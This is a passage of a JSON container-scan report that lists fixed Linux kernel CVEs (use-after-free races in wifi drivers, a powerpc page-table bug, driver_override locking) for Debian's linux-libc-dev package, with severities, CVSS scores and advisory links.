"https://www.cve.org/CVERecord?id=CVE-2026-53091" ], "PublishedDate": "2026-06-24T17:17:23.283Z", "LastModifiedDate": "2026-10-21T13:19:09.8Z" }, { "VulnerabilityID": "CVE-2026-53097", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53097", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b4048ec730c457b82a8599559a0f64f4e8ce55e40fb4dff99c4eb9e43c9a23a9", "Title": "kernel: wifi: mt76: mt7996: fix use-after-free bugs in mt7996_mac_dump_work()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7996: fix use-after-free bugs in mt7996_mac_dump_work()\n\nWhen the mt7996 pci chip is detaching, the mt7996_crash_data is\nreleased in mt7996_coredump_unregister(). However, the work item\ndump_work may still be running or pending, leading to UAF bugs\nwhen the already freed crash_data is dereferenced again in\nmt7996_mac_dump_work().\n\nThe race condition can occur as follows:\n\nCPU 0 (removal path) | CPU 1 (workqueue)\nmt7996_pci_remove() | mt7996_sys_recovery_set()\n mt7996_unregister_device() | mt7996_reset()\n mt7996_coredump_unregister() | queue_work()\n vfree(dev-\u003ecoredump.crash_data) | mt7996_mac_dump_work()\n | crash_data-\u003e // UAF\n\nFix this by ensuring dump_work is properly canceled before\nthe crash_data is deallocated. Add cancel_work_sync() in\nmt7996_unregister_device() to synchronize with any pending\nor executing dump work.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53097", "https://git.kernel.org/linus/c8f62f73bbced3a79894655bdb0b625462d956fc%20%287.1-rc1%29", "https://git.kernel.org/stable/c/180182a3f23ff79430a32ca2c4c1885368ceab48", "https://git.kernel.org/stable/c/188e10f9ea3109d23c6b7643aa6ec2f5cb0faa6d", "https://git.kernel.org/stable/c/533b1a9fa0128c75e40dd2d2c38a32b4e660741f", "https://git.kernel.org/stable/c/aa4a31cd89f4fde5043ac613fe0e27014a60a60b", "https://git.kernel.org/stable/c/c8f62f73bbced3a79894655bdb0b625462d956fc", "https://lore.kernel.org/linux-cve-announce/2026062410-CVE-2026-53097-a43d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53097", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53097" ], "PublishedDate": "2026-06-24T17:17:23.923Z", "LastModifiedDate": "2026-10-21T13:19:10.097Z" }, { "VulnerabilityID": "CVE-2026-53098", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53098", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b11c23fbb257399208f1e1c0da353a9b6528e9444bf543bb3d2ddaab767eb7ce", "Title": "kernel: wifi: mt76: mt7915: fix use-after-free bugs in mt7915_mac_dump_work()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7915: fix use-after-free bugs in mt7915_mac_dump_work()\n\nWhen the mt7915 pci chip is detaching, the mt7915_crash_data is\nreleased in mt7915_coredump_unregister(). However, the work item\ndump_work may still be running or pending, leading to UAF bugs\nwhen the already freed crash_data is dereferenced again in\nmt7915_mac_dump_work().\n\nThe race condition can occur as follows:\n\nCPU 0 (removal path) | CPU 1 (workqueue)\nmt7915_pci_remove() | mt7915_sys_recovery_set()\n mt7915_unregister_device() | mt7915_reset()\n mt7915_coredump_unregister() | queue_work()\n vfree(dev-\u003ecoredump.crash_data) | mt7915_mac_dump_work()\n | crash_data-\u003e // UAF\n\nFix this by ensuring dump_work is properly canceled before\nthe crash_data is deallocated. Add cancel_work_sync() in\nmt7915_unregister_device() to synchronize with any pending\nor executing dump work.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53098", "https://git.kernel.org/linus/1146d0946b5358fad24812bd39d68f31cd40cc34%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1146d0946b5358fad24812bd39d68f31cd40cc34", "https://git.kernel.org/stable/c/21ce6d867867645fff0ef657be18f61d9f39dcd8", "https://git.kernel.org/stable/c/55159f1fa30bef03e01af469823c1de103a4a884", "https://git.kernel.org/stable/c/6b7cbb13c838cf2a5f2e7be0e96fe15250087939", "https://git.kernel.org/stable/c/6d5202409467d621b6d1dfd7fc7dadb997fe66d2", "https://git.kernel.org/stable/c/e6856af8a22a8e2cd18241a465ed00c2301b3a5e", "https://lore.kernel.org/linux-cve-announce/2026062411-CVE-2026-53098-eddd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53098", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53098" ], "PublishedDate": "2026-06-24T17:17:24.027Z", "LastModifiedDate": "2026-09-14T12:17:43.233Z" }, { "VulnerabilityID": "CVE-2026-53109", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53109", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:075fa42ca5d9a9835acb1fe625608593391581cc9b267051d221502b859141e8", "Title": "kernel: powerpc/pgtable-frag: Fix bad page state in pte_frag_destroy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pgtable-frag: Fix bad page state in pte_frag_destroy\n\npowerpc uses pt_frag_refcount as a reference counter for tracking it's\npte and pmd page table fragments. For PTE table, in case of Hash with\n64K pagesize, we have 16 fragments of 4K size in one 64K page.\n\nPatch series [1] \"mm: free retracted page table by RCU\"\nadded pte_free_defer() to defer the freeing of PTE tables when\nretract_page_tables() is called for madvise MADV_COLLAPSE on shmem\nrange.\n[1]: https://lore.kernel.org/all/7cd843a9-aa80-14f-5eb2-33427363c20@google.com/\n\npte_free_defer() sets the active flag on the corresponding fragment's\nfolio \u0026 calls pte_fragment_free(), which reduces the pt_frag_refcount.\nWhen pt_frag_refcount reaches 0 (no active fragment using the folio), it\nchecks if the folio active flag is set, if set, it calls call_rcu to\nfree the folio, it the active flag is unset then it calls pte_free_now().\n\nNow, this can lead to following problem in a corner case...\n\n[ 265.351553][ T183] BUG: Bad page state in process a.out pfn:20d62\n[ 265.353555][ T183] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x20d62\n[ 265.355457][ T183] flags: 0x3ffff800000100(active|node=0|zone=0|lastcpupid=0x7ffff)\n[ 265.358719][ T183] raw: 003ffff800000100 0000000000000000 5deadbeef0000122 0000000000000000\n[ 265.360177][ T183] raw: 0000000000000000 c0000000119caf58 00000000ffffffff 0000000000000000\n[ 265.361438][ T183] page dumped because: PAGE_FLAGS_CHECK_AT_FREE flag(s) set\n[ 265.362572][ T183] Modules linked in:\n[ 265.364622][ T183] CPU: 0 UID: 0 PID: 183 Comm: a.out Not tainted 6.18.0-rc3-00141-g1ddeaaace7ff-dirty #53 VOLUNTARY\n[ 265.364785][ T183] Hardware name: IBM pSeries (emulated by qemu) POWER10 (architected) 0x801200 0xf000006 of:SLOF,git-ee03ae pSeries\n[ 265.364908][ T183] Call Trace:\n[ 265.364955][ T183] [c000000011e6f7c0] [c000000001cfaa18] dump_stack_lvl+0x130/0x148 (unreliable)\n[ 265.365202][ T183] [c000000011e6f7f0] [c000000000794758] bad_page+0xb4/0x1c8\n[ 265.365384][ T183] [c000000011e6f890] [c00000000079c020] __free_frozen_pages+0x838/0xd08\n[ 265.365554][ T183] [c000000011e6f980] [c0000000000a70ac] pte_frag_destroy+0x298/0x310\n[ 265.365729][ T183] [c000000011e6fa30] [c0000000000aa764] arch_exit_mmap+0x34/0x218\n[ 265.365912][ T183] [c000000011e6fa80] [c000000000751698] exit_mmap+0xb8/0x820\n[ 265.366080][ T183] [c000000011e6fc30] [c0000000001b1258] __mmput+0x98/0x300\n[ 265.366244][ T183] [c000000011e6fc80] [c0000000001c81f8] do_exit+0x470/0x1508\n[ 265.366421][ T183] [c000000011e6fd70] [c0000000001c95e4] do_group_exit+0x88/0x148\n[ 265.366602][ T183] [c000000011e6fdc0] [c0000000001c96ec] pid_child_should_wake+0x0/0x178\n[ 265.366780][ T183] [c000000011e6fdf0] [c00000000003a270] system_call_exception+0x1b0/0x4e0\n[ 265.366958][ T183] [c000000011e6fe50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec\n\nThe bad page state error occurs when such a folio gets freed (with\nactive flag set), from do_exit() path in parallel.\n\n... this can happen when the pte fragment was allocated from this folio,\nbut when all the fragments get freed, the pte_frag_refcount still had some\nunused fragments. Now, if this process exits, with such folio as it's cached\npte_frag in mm-\u003econtext, then during pte_frag_destroy(), we simply call\npagetable_dtor() and pagetable_free(), meaning it doesn't clear the\nactive flag. This, can lead to the above bug. Since we are anyway in\ndo_exit() path, then if the refcount is 0, then I guess it should be\nok to simply clear the folio active flag before calling pagetable_dtor()\n\u0026 pagetable_free().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53109", "https://git.kernel.org/linus/fda4d71651f71c44b35829d13f3c8bf920032f77%20%287.1-rc1%29", "https://git.kernel.org/stable/c/a32db6fca3c74b4eb8bae5470f0680deb4cbac6f", "https://git.kernel.org/stable/c/c8b710655012a2993a9567873fb71a8a51f8459c", "https://git.kernel.org/stable/c/e9d197c248e70278645f206defa87f085826c4c1", "https://git.kernel.org/stable/c/f4bc93135bfe39e7052d31e4c71f5f838e0bf516", "https://git.kernel.org/stable/c/fda4d71651f71c44b35829d13f3c8bf920032f77", "https://kernelcve.org/list/?q=CVE-2026-53109", "https://lore.kernel.org/linux-cve-announce/2026062413-CVE-2026-53109-3860@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53109", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53109" ], "PublishedDate": "2026-06-24T17:17:25.23Z", "LastModifiedDate": "2026-11-06T17:18:07.143Z" }, { "VulnerabilityID": "CVE-2026-53112", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53112", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5a7ab68c4468bdca54041dd82309f14062601ee4ab156bf743331064fb9444d2", "Title": "kernel: wifi: rtlwifi: pci: fix possible use-after-free caused by unfinished irq_prepare_bcn_tasklet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: pci: fix possible use-after-free caused by unfinished irq_prepare_bcn_tasklet\n\nThe irq_prepare_bcn_tasklet is initialized in rtl_pci_init() and\nscheduled when RTL_IMR_BCNINT interrupt is triggered by hardware.\nBut it is never killed in rtl_pci_deinit(). When the rtlwifi card\nprobe fails or is being detached, the ieee80211_hw is deallocated.\nHowever, irq_prepare_bcn_tasklet may still be running or pending,\nleading to use-after-free when the freed ieee80211_hw is accessed\nin _rtl_pci_prepare_bcn_tasklet().\n\nSimilar to irq_tasklet, add tasklet_kill() in rtl_pci_deinit() to\nensure that irq_prepare_bcn_tasklet is properly terminated before\nthe ieee80211_hw is released.\n\nThe issue was identified through static analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53112", "https://git.kernel.org/linus/039cd522dc70151da13329a5e3ae19b1736f468a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/008c456b76e9070979bc0e763897a5d3b0fdd4dc", "https://git.kernel.org/stable/c/039cd522dc70151da13329a5e3ae19b1736f468a", "https://git.kernel.org/stable/c/3c0e8a3179e6325a7dc6ce221aef0e03d854ab4b", "https://git.kernel.org/stable/c/7731b67bd59d1284d150cbe40a47e95a10613234", "https://git.kernel.org/stable/c/aa10a452e34810987fb9f4a047995b30003fb53f", "https://git.kernel.org/stable/c/ae10d4a1ab6bcaa1336abb171908a9a365761d3e", "https://git.kernel.org/stable/c/e40873820c9d245ce482faa7ad514ebdb3b8d23d", "https://git.kernel.org/stable/c/fac1079e0fdec6df6d7562c21941587236dc3def", "https://linux.oracle.com/cve/CVE-2026-53112.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062414-CVE-2026-53112-ca3f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53112", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53112" ], "PublishedDate": "2026-06-24T17:17:25.583Z", "LastModifiedDate": "2026-07-23T21:30:30.73Z" }, { "VulnerabilityID": "CVE-2026-53115", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53115", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb6f7eaf63d079d4537c80e6308462097f6816ec24435617bba9737741543b40", "Title": "kernel: bus: fsl-mc: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbus: fsl-mc: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53115", "https://git.kernel.org/linus/6c8dfb0362732bf1e4829867a2a5239fedc592d0%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4911b836f35c034c36f102db4ecbe339b38e7d1d", "https://git.kernel.org/stable/c/60bfb563a399c4597dc80588a1109758a8908b97", "https://git.kernel.org/stable/c/6c8dfb0362732bf1e4829867a2a5239fedc592d0", "https://git.kernel.org/stable/c/8139ce66b52a4a5638bfb445b037c07d4abeb08e", "https://git.kernel.org/stable/c/dbba371b19129abe9649553ab912e6bccf6c1a5b", "https://kernelcve.org/list/?q=CVE-2026-53115", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53115-1078@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53115", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53115" ], "PublishedDate": "2026-06-24T17:17:25.89Z", "LastModifiedDate": "2026-10-21T13:19:11.117Z" }, { "VulnerabilityID": "CVE-2026-53117", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e2a6d35806605b45a7c630454b4774b7db76552bee6511ce4d02ace3b4f0ab1b", "Title": "kernel: s390/cio: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/cio: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53117", "https://git.kernel.org/linus/ac4d8bb6e2e13e8684a76ea48d13ebaaaf5c24c4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/106d594711e97762788046c5bbb94f580abc4bf4", "https://git.kernel.org/stable/c/2081957d8c323ffb58a10bc64837717ac5a042a1", "https://git.kernel.org/stable/c/ac4d8bb6e2e13e8684a76ea48d13ebaaaf5c24c4", "https://git.kernel.org/stable/c/b660ba045b2b22cf3b4be72773de00cb48f47be5", "https://git.kernel.org/stable/c/c4295487124f461405e1ef64dfa8c4ab0cb7ebcf", "https://kernelcve.org/list/?q=CVE-2026-53117", "https://lore.kernel.org/linux-cve-announce/2026062415-CVE-2026-53117-04ff@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53117", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53117" ], "PublishedDate": "2026-06-24T17:17:26.09Z", "LastModifiedDate": "2026-11-06T17:18:07.963Z" }, { "VulnerabilityID": "CVE-2026-53118", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b619bacad71363f794ff9e262a048cdb5ec1b592d0c97030e538d71489ea5ab", "Title": "kernel: vdpa: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvdpa: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53118", 